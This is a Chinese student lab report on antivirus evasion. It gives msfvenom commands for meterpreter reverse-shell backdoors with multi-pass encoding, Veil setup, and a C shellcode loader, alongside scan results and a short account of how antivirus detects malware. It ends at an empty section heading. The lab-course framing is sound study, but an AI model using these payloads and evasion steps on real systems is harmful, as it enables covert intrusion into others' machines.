2018-2019-2 网络对抗技术 20165334 Exp3 免杀原理与实践

使用exp2中生产的后门程序20165334_backdoor.exe利用VirusTotal网站进行扫描检测。
20165334_backdoor.exe利用Virscan网站进行扫描检测。

-使msf编码器对后门程序进行多次的编码，并检测。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 -b ‘x00’ LHOST=192.168.56.102 LPORT=5334 -f exe > met-lt5334l.exe

用使用virscan进行扫描，结果如下所示
msfvenom生成jar文件msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=5334 x> ltl_backdoor_java.jar
用使用virscan进行扫描，结果如下所示
msfvenom生成php文件msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=5334 x> 20155334_backdoor.php
用使用virscan进行扫描，结果如下所示

用sudo apt-get install veil命令安装Veil，若遇到问题则用sudo apt-get upgrade这两个命令更新一下软件包即可之后用veil打开veil，输入y继续安装直至完成。

-设置反弹连接IPset LHOST 192.168.56.102(IP是KaliIP)
设置端口set LPORT 5334
输入generate生成文件，接着输入你想要playload的名字:baddoor5334
扫描检测

使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.102LPORT=5334 -f c用c语言生成一段shellcode

-利用上面生成的数组拿来编写一个程序，结构如下

unsigned char buf[] = 
"此处复制粘贴之前用msf生成的buf"

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

-x尝试运行结果被360拦截了。

金山毒霸扫描结果

免杀思路：
（1）对病毒木马文件通过各种技术进行修改；
（2）拓展病毒木马文件功能，甚至是攻击杀软来达到目的。
基础问题回答
1）杀软是如何检测出恶意代码的？
杀毒软件(AV)是一个较大规模安全防护策略的重要组成部分，能够减缓恶意软件在互联网上的传播速度，保护用户主机。
特征库举例：首先对已经有过的恶意代码建立特征库，对其特征码进行匹配检测，若匹配成功，则为恶意代码需进行防范。因此有些新型恶意代码则更容易绕过杀软，在被检测出之前，可能有部分用户会被感染，因此需要及时更新恶意代码特征库。
-启发式恶意软件检测：根据些片面特征去推断。通常是因为缺乏精确判定依据。
基于行为的恶意软件检测：监控该代码的行为，看是否有恶意行为，或正在做与恶意代码所做的事情相同，威胁到主机安全，则极有可能为恶意代码。

修改方法：